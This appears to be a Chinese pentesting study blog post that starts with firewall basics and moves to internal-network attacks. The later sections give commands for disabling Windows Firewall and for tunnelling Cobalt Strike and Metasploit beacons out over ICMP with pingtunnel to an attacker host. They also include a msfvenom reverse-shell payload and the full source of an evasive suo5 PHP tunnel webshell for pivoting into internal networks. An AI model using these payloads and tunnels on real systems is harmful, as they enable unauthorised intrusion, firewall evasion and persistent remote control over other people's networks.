网络通信

防火墙概述：

什么是防火墙？

防火墙是一款具有安全防护功能的网络设备。

防火墙的作用是什么?

访问控制，隔离网络，将需要保护的网络与不可信任的网络进行隔离，隐藏数据信息并做安全防护。

路由器不是隔离了网络么?

路由器隔离的是广播域或者网段，而不是网络。IP配好，路由配好即可全网互通，路由器默认没有任何限制。防火墙将网络分为可信任的区域和不可信任的区域，并且把可信任区域和不可信任区域分隔开。IP 配好，路由配好不能全网互通，默认情况下就会有限制。

路由器和防火墙的区别是什么?

路由器是3 层设备，防火墙是4/5 层设备。防火墙具有路由转发的功能，并且还能做区域隔离和访问控制策略,比路由器贵。路由器做访问控制叫ACL，防火墙的叫访问策略。路由器ACL 写的是限制规则，防火墙访问策略写的是放行规则。

防火墙杀毒杀木马吗?

防火墙主要目的不是为了杀毒杀木马存在的，创造防火墙时给他的本职工作就是做区域隔离，写访问控制策略。现在防火墙往往带上了检测木马和病毒的功能。

防火墙的基本功能：

访问控制策略
攻击防护
冗余设计
路由交换
日志记录
虚拟专网VPN
NAT
………..

防火墙包含了路由器的功能，但是路由的这些功能并不是主要功能。

区域隔离：

防火墙将网络划分成三个区域。

防火墙区域：

防火墙区域	英文	说明
内部区域信任区域	inside trust	内网办公网络，包括财务，行政，其他员工
外部区域非信任区域	outside untrust	外网，公网，互联网
隔离区域	DMZ	非军事化管理区\|停火区\|服务器区域

所有区域间想要互相访问都要经过防火墙。

区域访问规则：

对比路由器上写的ACL，防火墙不认接口的in或out方向，他认源区域和目标区域

防火墙放行规则(默认情况下)：

方向	动作	场景
inside——>outside	放行	内网员工可以正常上网
inside——>DMZ	放行	内网员工可以访问公司服务器
DMZ——>inside	禁止	公司服务器不能主动访问内网员工PC
DMZ——>outside	放行	服务器可以上外网
outside——>inside	禁止	外部流量不能主动访问内网电脑
outside——>DMZ	?	根据实际情况做策略开放某一个IP地址的某一个端口外网PC可以访问我司内部服务器的某个应用，其他不允许

防火墙分类:

防火墙分类

防火墙形态
- 软件防火墙
- 硬件防火墙
防火墙技术
- 包过滤防火墙
- 应用代理防火墙
- 状态检测防火墙
- Web Application firewaf
- 应用防火墙

软件防火墙

安装操作系统上的安全防护软件，包括：

腾讯安全管家
360安全卫士
Windows Defender
iptables
…….

硬件防火墙

H3C:

Juniper：

TOPSEC:

包过滤防火墙

最早的防火墙技术之一，功能简单，配置复杂，检查报文基于源IP，目标IP，源端口，目标端口号和协议进行策略，不能识别回包，已经基本淘汰。

应用代理防火墙

最早的防火墙技术之二，安全性高，连接效率低，伸缩性差(udp的代理不了)速度慢，配置复杂，工作在5层。

应用代理防火墙会代理通讯双方的身份，维护两个会话，大大影响了效率。

状态检测防火墙

现代主流的防火墙，速度快效率高，功能强，配置方便

状态检测检查预先设置的安全规则，允许符合规则的连接通过，并在内存中记录下该连接的相关信息，生成状态表。对该连接的后续数据包，只要符合状态表，就可以通过，不需要在匹配规则。

能检测回包。当外部区域给内部区域回包时，同样需要先通过状态表，如果状态表匹配成功即可证明这个包是回包，不需要过策略表，直接转发。

WAF

应用层防火墙是一个发展趋势，各大厂商都在宣扬自己是应用层防火墙，但是目前效果有限。

如果相对应用层做检测，建议使用IDS，IPS，态势感知等设备。

内网对抗中的网络通信问题

代理通信

网络通信问题是内网对抗中需要解决的第一大问题，若果连基础的网络通信都无法解决的情况下，那也就谈不上信息收集，乃至下一步的行动。

如果我们想要访问192.168.2.22是无法直接访问的，但是我们拿到了windows 2016(Web)的一个CS反向上线的C2，我们可以利用CS在其windows 2016(Web)上开启一个socks代理节点,然后利用proxifier工具挂上192.168.139.141:socks代理端口即可访问192.168.2.22,这样就能够与这个网段进行通信了。

可以通过在已获得权限的机器上建立socks节点来达成不同网段之间相通信的目的。

注意：

上述的情况是在这几台机器之间的防火墙都没有打开的情况下。对于出站入站没有任何的限制

防火墙策略-入站规则&出站规则&自定义

工作组环境下的防火墙：

一般情况下工作组的防火墙，默认入站限制，出站不限制如下：

没有对勾√的就是被阻止的：

域环境下的防火墙：(强制策略同步)

其防火墙策略由域控统一发放，基本上来说边缘主机的防火墙是无法直接关闭的，除非你有域控的权限。这时候关闭防火墙的操作基本上就无法进行了。

会发现我想关闭防火墙需要管理员的密码。

单层防火墙-命令关闭&更改策略-C2上线

第一个情况我们做出如下思考：(前提：windows 2016(web)已上线)

对于192.168.2.22转发上线(反向)，能成功上线吗?

答案是能，虽然其防火墙是开放的，但是默认情况下他没有对出站进行限制

对于192.168.2.22正向上线，能成功上线吗?

答案是不能，入站限制了

第二个情况我们做出如下思考：(前提：windows 2016(web)已上线)

对于192.168.2.22转发上线(反向)，能成功上线吗?

答案是不能，虽然第二台机器没有开放防火墙，但是第一台机器开放了防火墙，对入站进行了限制，所以从192.168.2.22去找192.168.2.11的流量直接被防火墙拦截丢掉了。

对于192.168.2.22正向上线，能成功上线吗?

答案是能，因为正向上线要由192.168.2.11主动发送出站流量，防火墙虽然开启但是对出站没有进行限制，所以能够正常上线。

最简单的想法就是关闭防火墙，就不用思考拦截不拦截的问题了。

Windows防火墙命令：

（1）常用命令

查看当前防火墙状态：netsh advfirewall show allprofiles
关闭防火墙：netsh advfirewall set allprofiles state off
开启防火墙：netsh advfirewall set allprofiles state on
恢复初始防火墙设置：netsh advfirewall reset
启用桌面防火墙: netsh advfirewall set allprofiles state on
设置默认输入和输出策略：netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
如果设置为拒绝使用blockinbound,blockoutbound

(2) 参数说明

dir=in|out
必备参数，指定进站方向还是出站方向
action=allow|block|bypass
必备参数，设定这个规则是允许还是阻断或者是跳过
program=]
可选参数，为某应用程序设定规则
[service=|any]
可选参数，为某系统服务设定规则
[description=]
可选参数，为这个规则加一个说明描述
[localip=any|||||]
可选参数，指定本端IP地址
[remoteip=any|localsubnet|dns|dhcp|wins|defaultgateway|||||]
可选参数，指定远端IP地址
[localport=0-65535|[,...]|RPC|RPC-EPMap|IPHTTPS|any (default=any)]
可选参数，指定本端端口号，默认为所有端口
[remoteport=0-65535|[,...]|any (default=any)]
可选参数，指定远端端口号，默认为所有端口
[protocol=0-255|icmpv4|icmpv6|icmpv4:type,code|icmpv6:type,code|tcp|udp|any (default=any)]
可选参数，指定协议类型，默认为所有协议
[interfacetype=wireless|lan|ras|any]
可选参数，指定接口类型
[security=authenticate|authenc|authdynenc|authnoencap|notrequired(default=notrequired)]
可选参数，指定加密访问方式
help
显示命令列表

(3) 添加一条允许TCP指定端口的命令

1	netsh advfirewall firewall add rule name=RDP dir=in action=allow protocol=tcp localport=3389

(4) 删除规则

1	netsh advfirewall firewall delete rule name=RDP dir=in action=allow protocol=tcp localport=3389

(5) 关闭5900端口

1	netsh advfirewall firewall add rule name= “deny tcp 5900″ dir=in protocol=tcp localport=5900 action=block

(6) 添加程序的规则

#为 messenger.exe 添加需要安全的入站规则:
netsh advfirewall firewall add rule name="allow messenger"
dir=in program="c:\program files\messenger\msmsgs.exe"
security=authenticate action=allow

(7) 设置Ip禁止

1 2	# remoteip 允许的IP，多个IP用逗号分割 netsh advfirewall firewall add rule name="test" dir=in action=allow protocol=TCP localport=3389,135 remoteip=10.10.12.20,192.168.0.20

参考链接：https://www.cnblogs.com/tomtellyou/p/16300557.html

单层防火墙-正向监听&反向中转-C2上线

如果是上图的第二种情况，一般防火墙是入站限制，出站不限制，这时候正向连接，是无法上线的他会被，防火墙直接拦截，但是反向上线让内网机器主动来找攻击机的话就不会拦截。

我直接通过修改防火墙策略，让其允许该端口入站，即可正向连接成功：

双层防火墙-命令关闭&隧道技术-C2上线

在双层防火墙的都开放下难度直接上一个难度，有意思很多！！！

思考如下问题：

第一台主机上线是正向，还是反向？

答案是反向

第二台主机能够上线CS吗？

答案是不能

为什么不能上线呢？

如果我们正向上线：

它会被第二台主机的入站限制直接拦截，故无法上线

如果我们反向上线：

虽然第二台主机的出站不做限制，但是其会去找第一台主机，这时候第一台主机的防火墙的入站限制，会将其进行拦截，故无法上线

扩展：

那么我们如何解决这个上线问题呢？

法一：命令关闭防火墙

法二：通过防火墙有限的可入站或出站的规则来搭建隧道来达到上线目的**(规则决定)**

法三：SMB协议通讯上线**(默认放行)**

代理和隧道：

个人认为这里是比较容易搞混淆的地方我一开始的学的时候也是将其混为一谈了

代理是为了解决网络之间通信的问题

隧道某种意义上来说也是解决网络通信的问题，但其是利用有限的规则穿过防火墙

socks代理也是隧道技术之一。

什么是隧道？

这里的隧道，就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装，然后穿过防火墙，与对方进行通信。当被封装的数据包到达目的地时，将数据包还原，并将还原后的数据包发送到相应的服务器上。隧道技术通常用于连接不同地理位置的网络，以创建安全的、私有的通信通道。

为什么使用隧道？

在内网渗透的过程中，当获取到边界主机之后，需要继续深入渗透，这时就需要搭建代理或者建立隧道，去探测访问处于内网中的机器。

在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截，CS、MSF无法上线，数据传输不稳定无回显，出口数据被监控，网络通信存在问题等。

常用的隧道协议有哪些？

网络层：IPv6 隧道、ICMP 隧道

传输层：TCP 隧道、UDP 隧道、常规端口转发

应用层：SSH 隧道、HTTP/S 隧道、DNS 隧道

参考：https://blog.csdn.net/weixin_44604541/article/details/118305353

隧道技术-ICMP-探针&搭建-C2上线&穿透

关键点：看防火墙的策略配置

出网判断：

一般故障就代表icmp协议不出网：

请求超时意味着本机出网：

搭建流程：

CS上线流程：
#攻击机开启一个服务端:192.168.189.141
./pingtunnel -type server

#将本地的TCP端口6666流量转发到192.168.189.141:7777上面(TCP流量封装成icmp转发的)
pingtunnel -type client -l :6666 -s 192.168.189.141 -t 192.168.189.141:7777 -tcp 1 -noprint 1 -nolog 1

#监听器配置：
127.0.0.1 6666(后门生成)
192.168.189.141 7777(监听上线)

CS监听配置如下：

生成后门是127.0.0.1的后门：

回看成功上线：

http->icmp封装出去，后门能出站了

其大概流程就是：我们将回连木马的tcp流量利用icmp协议包装由本地的6666端口一起发送到攻击机的7777端口成功上线。

MSF上线流程：
#攻击机开启一个服务端:192.168.189.141
./pingtunnel -type server

#将本地的TCP端口6666流量转发到192.168.189.141:7777上面(TCP流量封装成icmp转发的)
pingtunnel -type client -l :6666 -s 192.168.189.141 -t 192.168.189.141:7777 -tcp 1 -noprint 1 -nolog 1

#木马配置：
msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=6666 -f exe -o msf.exe
127.0.0.1 6666(后门生成)
#监听器配置：
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 7777

192.168.189.141 7777(监听上线)

后续穿透问题:搭建socks代理节点

前置：

#可用可不用这一步骤
#关闭 icmp 回复,如果要开启 icmp 回复，该值设置为 0

sysctl -w net.ipv4.icmp_echo_ignore_all=1

Pingtunnel配合iox代理socks内网穿透：

攻击机如下操作：

接受客户端传递的icmp

1	./pingtunnel -type server -noprint 1 -nolog 1 -key 000000

将本地4455转至5566

1	./iox proxy -l 4455 -l 5566

web机器如下操作：

将本地2222的TCP封装ICMP给192.168.189.141:4455

1	pingtunnel.exe -type client -l 127.0.0.1:2222 -s 192.168.189.141 -t 192.168.189.141:4455 -tcp 1 -noprint 1 -nolog 1 -key 000000

建立socks节点绑定5566端口

1
2
3

#利用该工具在本地建立一个socks5节点并利用icmp将tcp流量进行包装，穿透出去，将2222映射到公网的5566端口上面，然后就是一个成功的socks代理，这个手法非常值得学习

iox.exe proxy -r 127.0.0.1:2222

隧道技术-DNS-探针&搭建-C2上线&穿透

个人认为这个dns隧道搭建成功后会非常的缓慢，除非是十分极端的环境下利用，在此不多解释什么

隧道技术-HTTP协议利用

做出如下思考：

情况1192.168.139.222能成功上线吗？

入站的web端口被占用了进不去(正向)
出战被限制了也出不来(反向)

这种情况下只能通过webshell来控制机器

情况1下在只有192.168.139.222的webshell的情况下我们能够收集192.168.2.22主机的信息吗？

答案是不能,因为192.168.139.222这台主机的出站被限制了

那么在情况1这种情况下我们就只能通过http协议，来搭建一个http隧道，实现通信的功能

搭建http隧道：

法一：利用各种工具，如suo5，neo等等工具不过多说搭建socks代理

其中suo5的性能是相当不错的。其他的工具我个人认为都没有那么稳定，但能基本都能够支持网络通信的目的
suo5项目地址：https://github.com/zema1/suo5

法二：哥斯拉和冰蝎连接上webshell后内置的有，端口映射和隧道搭建的功能可以直接利用

http隧道的作用：

端口映射，本地访问远程端口—主动转发出来
建立支持socks代理协议连接socks对内网穿透

C2正向上线：(情况1)

场景如下：

注：下面的这种场景下内网机器是出站没有做限制的，我们假设其他出站做了限制。来尝试进行正向马上线。

我利用windows2003作为一台路由器：ip如下

用windows7作为一台内网机器：IP:192.168.52.200

然后将其内网的80端口的web服务映射到主机192.168.189.147:80上

攻击机只能正常访问http://192.168.189.147/也就是这个内网服务

我们是不知道这个内网机器的ip的，直接传上去一个免杀的suo.php通道文件

<?php
error_reporting(E_ERROR | E_PARSE);
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
ini_set("allow_url_fopen", true);
ini_set("allow_url_include", true);
ini_set('always_populate_raw_post_data', -1);

// bypass session lock
ini_set('session.use_only_cookies', false);
ini_set('session.use_cookies', false);
ini_set('session.use_trans_sid', false);
ini_set('session.cache_limiter', null);
if (array_key_exists('PHPSESSID', $_COOKIE)) {
    session_id($_COOKIE['PHPSESSID']);
} else {
    session_start();
    setcookie('PHPSESSID', session_id());
    session_write_close();
}

// disable output buffering
@ini_set('zlib.output_compression', 0);
ob_implicit_flush(true);
while (ob_get_level()) {
    ob_end_clean();
}

if (version_compare(PHP_VERSION, '5.4.0', '>=')) @http_response_code(200);

function xlpassxpukcLmU()
{
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    if ($ua != 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3') {
        return false;
    }
    if ($_SERVER['CONTENT_TYPE'] == 'application/plain') {
        $read_data = file_get_contents('php://input', 0, null, 0, 32);
        echo $read_data;
        return false;
    }
    return true;
}

function xlpassOEgojXTR($client_id, $data)
{
    $exist = false;
    session_start();
    if (isset($_SESSION[$client_id . '_ok'])) {
        $exist = true;
        $_SESSION[$client_id . '_buf'] .= $data;
    }
    session_write_close();
    return $exist;
}


function xlpassHvUNfPam($client_id)
{
    session_start();
    if (isset($_SESSION[$client_id . '_ok'])) {
        $_SESSION[$client_id . '_ok'] = false;
    };
    session_write_close();
}

function xlpassCgPzfQOO($client_id)
{
    session_start();
    $_SESSION[$client_id . '_buf'] = '';
    $_SESSION[$client_id . '_ok'] = true;
    session_write_close();
}

function xlpassEtbOsRDk()
{
    $body = file_get_contents('php://input');
    $data_map = xlpassxZHdjSBv($body);
    $client_id = $data_map['id'];
    $actions = $data_map['ac'];
    if (strlen($actions) != 1) return;
    $action = ord($actions[0]);

    if ($action == 0x02) {
        xlpassHvUNfPam($client_id);
        return;
    } elseif ($action == 0x01) {
        $exist = xlpassOEgojXTR($client_id, $data_map['dt']);
        if (!$exist) {
            echo xlpassGSuTOKsO(new_del());
        }
        return;
    }

    if ($action != 0x00) return;
    header('X-Accel-Buffering: no');
    header('Content-Type: application/octet-stream');
    header("Connection: Keep-Alive");
    set_time_limit(0);

    $host = $data_map['h'];
    $ip = gethostbyname($host);
    $port_str = trim($data_map['p']);
    if ($port_str == '0') {
        $port_str = isset($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : '80';
    }
    $port = intval($port_str);

    $remote_sock = @fsockopen($ip, $port, $errno, $errstr, 3);
    if ($remote_sock) {
        stream_set_blocking($remote_sock, false);
//        ignore_user_abort(true);
        $read_from = $remote_sock;
        xlpassCgPzfQOO($client_id);
        echo xlpassGSuTOKsO(new_status(0x00));
    } else {
        echo xlpassGSuTOKsO(new_status(0x01));
        return;
    }

    $ok_key = $client_id . '_ok';
    $buf_key = $client_id . '_buf';

    $last_buf_time = time();
    while (!feof($read_from)) {
        $remote_data = fread($read_from, 32 * 1024);
        if ($remote_data === false) {
            break;
        }
        if (strlen($remote_data) !== 0) {
            echo xlpassGSuTOKsO(new_data($remote_data));
        }

        session_start();
        if (!isset($_SESSION[$ok_key]) || $_SESSION[$ok_key] !== true) {
            unset($_SESSION[$ok_key]);
            unset($_SESSION[$buf_key]);
            session_write_close();
            break;
        }
        if (strlen($_SESSION[$buf_key]) !== 0) {
            $last_buf_time = time();
            fwrite($read_from, $_SESSION[$buf_key]);
            $_SESSION[$buf_key] = '';
        }

        // compute client count
        $client_count = 0;
        foreach ($_SESSION as $key => $value) {
            if (substr($key, -3) == '_ok') {
                $client_count++;
            }
        }
        session_write_close();

        if (time() - $last_buf_time > 60) {
            break;
        }
        usleep(50000);
    }

    session_start();
    unset($_SESSION[$ok_key]);
    unset($_SESSION[$buf_key]);
    session_write_close();
    fclose($read_from);
    echo xlpassGSuTOKsO(new_del());
}

function xlpassGSuTOKsO($m)
{
    $buf = '';
    foreach ($m as $key => $value) {
        $buf .= chr(strlen($key)) . $key . pack('N', strlen($value)) . $value;
    }
    $xor_key = chr(mt_rand(0, 255));
    $data = '';
    for ($i = 0; $i < strlen($buf); $i++) {
        $data .= chr(ord($buf[$i]) ^ ord($xor_key));
    }
    return pack('N', strlen($data)) . $xor_key . $data;
}

function xlpassxZHdjSBv($body)
{
    $len = unpack('N', substr($body, 0, 4))[1];
    $xor = ord(substr($body, 4, 1));
    $data = substr($body, 5);
    if ($len > 1024 * 1024 * 32) {
        throw new Exception('invalid len');
    }
    if (strlen($data) != $len) {
        throw new Exception('invalid data');
    }
    $decoded = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $decoded .= chr(ord($data[$i]) ^ $xor);
    }
    $m = array();
    $i = 0;
    while ($i < strlen($decoded) - 1) {
        $k_len = ord($decoded[$i]);
        $i++;
        if ($k_len < 0 || $i + $k_len >= strlen($decoded)) break;
        $key = substr($decoded, $i, $k_len);
        $i += $k_len;
        if ($i + 4 >= strlen($decoded)) break;
        $v_len = unpack('N', substr($decoded, $i, 4))[1];
        $i += 4;
        if ($v_len < 0 || $i + $v_len > strlen($decoded)) break;
        $value = substr($decoded, $i, $v_len);
        $i += $v_len;
        $m[$key] = $value;
    }
    return $m;
}

function new_del()
{
    return array('ac' => chr(0x02));
}

function new_status($b)
{
    return array('s' => chr($b));
}

function new_data($data)
{
    return array('ac' => chr(0x01), 'dt' => $data);
}

if (xlpassxpukcLmU()) {
    try {
        xlpassEtbOsRDk();
    } catch (Exception $ex) {
    }
}